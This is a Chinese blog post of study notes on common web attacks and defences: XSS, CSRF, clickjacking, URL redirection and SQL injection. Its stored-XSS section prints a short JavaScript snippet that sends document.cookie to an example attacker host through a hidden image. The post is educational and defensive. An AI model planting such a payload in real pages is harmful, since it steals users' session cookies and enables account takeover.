常见web安全攻防

266 阅读8分钟
本文是阅读《白帽子讲web安全》 ----吴翰清 的一点笔记

在足不出户尽知天下事的信息时代,安全问题已然成为人们关注的众多焦点之一。

安全三要素

  • 机密性:保护数据内容不被泄露。
  • 完整性:保护数据内容完整,没有被篡改。
  • 可用性:保护资源是可用的。

web安全简述

    基于web环境应用的安全。

  • 前端安全:浏览器、单页面应用、Web页面当中的安全问题。
  • 服务端安全:发生在后端服务器、应用、服务当中的安全问题。


常见web安全及防御

一、XSS

1、描述

跨站脚本攻击(全称Cross Site Script),为了和CSS( Cascading StyleSheets)有所区别,所以在安全领域叫XSS。

2、原理

XSS 的原理是攻击者往 Web 页面里插入恶意脚本,当用户浏览网页时,嵌入其中的脚本代码会被执行,从而达到盗取用户信息或其他侵犯用户安全隐私的目的。

3、XSS 的分类

3.1、反射性XSS(非持久

反射型XSS:诱使用户访问包含恶意代码的URL,当受害者点击这些链接的时候,恶意代码在受害者的浏览器上执行。

反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机的浏览器执行。对于访问者而言是一次性的,具体表现把恶意脚本通过 URL 的方式传递给了服务器,而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。需要欺骗用户自己去点击链接才能触发XSS代码


3.2、DOM型XSS(非持久

DOM型XSS:从效果上说也是反射型XSS,和反射型XSS不同的是它不依赖服务器端,而是直接从客户端获取DOM中的数据(例如url、hash等)并在本地执行。


3.3、存储型(持久型)

存储型XSS:将恶意提交的代码存储在服务器中,用户访问的时候触发恶意代码执行。

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

let img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);


4、XSS防御

xss的本质是让正常用户访问的时候,执行攻击者插入的js脚本 ,来完成攻击者的非法行为。

4.1、特点

  • 破坏页面正常结构与样式等。
  • 盗用cookie进行非法操作。
  • 盗取用户敏感私用信息等。
  • … …

4.2、防御

  • 校验用户输入信息的合法性,过滤非法输入,对用户的原创内容报怀疑态度。
  • 输出内容进行编码转义(转义库)。
            整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。建议利用模板引擎
  • 白名单控制允许的HTML标签及各标签的属性。
  • 敏感重要cookie设置HttpOnly。
  • 插入html标签、js事件等先编码转义后使用
  • … …

5、XSS防御示例


二、CSRF

1、描述

CSRF(Cross Site Request Forgery,跨站请求伪造)攻击是一种依赖web浏览器的、被混淆过的代理人攻击,通过伪装来自受信任用户的请求来利用受信任的网站,造成个人隐私泄露及财产安全。

2、原理

跨站请求伪造攻击(全称Cross-Site Request Forgery),通过伪造正常用户的身份,向服务器发送恶意请求。


3、CSRF防御

  • 敏感提交采用post。
          在高度敏感和重要的交互行为时,针对可信用户进行二次验证,来证明当前操作行为出于 用户正常行为。

    • 密码校验
    • 手机验证码
    • 生物特征:声纹、指纹、刷脸等
    • 设备信息

  • Cookie不随着跨域请求发送。
  • Referer限制(白名单策略)。

          Refer白名单验证可以作为防御CSRF的一个手段(参考手段)。

    • Refer丢失。
    • Refer伪造。
    • 很多用户出于安全考虑,限制refer的发送。
  • 敏感行为用户信息二次验证。
  • 验证码(影响体验,关键业务点设置验证码)。
  • 请求带上反CSRF token。

          使用token验证,黑客并不能拿到或看到cookie里的内容,所以无法伪造一个完整的请求(网站必须不存在XSS漏洞)。

    • token需要足够随机,必须使用足够安全的随机算法,或者采用真随机数生成器。
    • token一次性,一旦使用过需要重新生成。
    • 时效性,长时间没有使用需要重新生成。
    • 将token放到表单中,随请求提交(注意token的保密性)。
  • … …

4、CSRF防御示例

图形验证码区分人类和机器的操作行为被广泛应用,但是验证码破解也是个产业。黑灰产利用深度学习技术构建模型自动识别验证码,所以验证码库V1—V2—V3…..版本一次一次的迭代升级


进而很多场景引入对抗验证码

  • 增加干扰项
  • 问答式验证码
  • 行为验证码
  • ... ...

三、点击劫持

1、描述

点击劫持:一种视觉的欺骗手段,攻击者将被攻击网站,通过不可见框架嵌入自己的网页(Iframe、图片覆盖、DOM覆盖等…),诱使用户在页面上操作,用户在不知情状态下,操作被攻击网站而造成攻击行为(eg:关注…)。

2、原理


3、防御

3.1、特点

  • 隐蔽性较高。
  • 骗取用户操作。
  • “UI-覆盖攻击”。
  • 利用Iframe或者其他标签的属性。

3.2、防御

  • 网站禁止iframe嵌套(frame busting)。
  • 设置X-FRAME-OPTIONS,控制iframe嵌套(浏览器兼容性)。

          X-FRAME-OPTIONS是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头就是为了防御用iframe 嵌套的点击劫持攻击。

    • 该响应头有三个值可选,分别是
    • DENY,表示页面不允许通过 iframe 的方式展示。
    • SAMEORIGIN,表示页面可以在相同域名下通过iframe的方式展示。
    • ALLOW-FROM,表示页面可以在指定来源的 iframe中展示。

4、点击劫持防御示例


四、URL跳转

1、描述

URL跳转:借助未验证的URL跳转,将应用程序引导到不安全的第三方区域,从而导致的安全问题。

2、原理


3、防御

3.1、特点

  • 获取参数链接。
  • Header头跳转。
  • Javascript跳转。
  • META等DOM标签跳转。

3.2、防御

  • 跳转的url不直接使用用户传入的参数。
  • 跳转地址增加白名单限制。

4、URL跳转防御示例


五、SQL注入

1、描述

SQL注入:通过在用户控制的参数中注入SQL语法,破坏原有SQL结构,访问或修改数据,完成攻击行为。

2、原理


3、防御

3.1、特点

  • 跳过账户权限验证达到越权操作。
  • 获取数据库敏感信息从而进行脱库。
  • 变更数据库内容。
  • 用户能够控制输入。
  • 需要执行的逻辑拼接了用户输入的内容。

3.2、分类

  • 回显注入:直接从返回结果中获取数据。
  • 报错注入:在sql执行的报错中嗅探到数据库的结构和内容。
  • 盲注:根据数据库执行的延时等操作来判断是否接近正确值。

3.3、防御

  • 数据与代码分离。
  • 对用户输入进行严格的检测过滤或者编码。
  • 控制数据库操作权限,遵循最小权限原则。
  • 敏感信息加密存储。
  • 数据库操作日志,尽量不要输出原始错误日志。
  • … …


总结

安全问题往往发生在一些意想不到的地方。另一方面,防御技术在不断完善的同时,攻击技术也在不断地发展。所以需要在变化中持续迭代升级,来对抗攻击。

  • 开发流程:规范开发流程,在开发阶段产出相对安全的代码。
  • 查找:通过漏洞扫描、渗透测试、代码审计等发现系统中存在的安全问题。
  • 解决:处理自查出的安全问题,及时响应处理安全工单。
  • 防御:搭建完整的安全防御体系(例如入侵检测系统、web应用防火墙等)。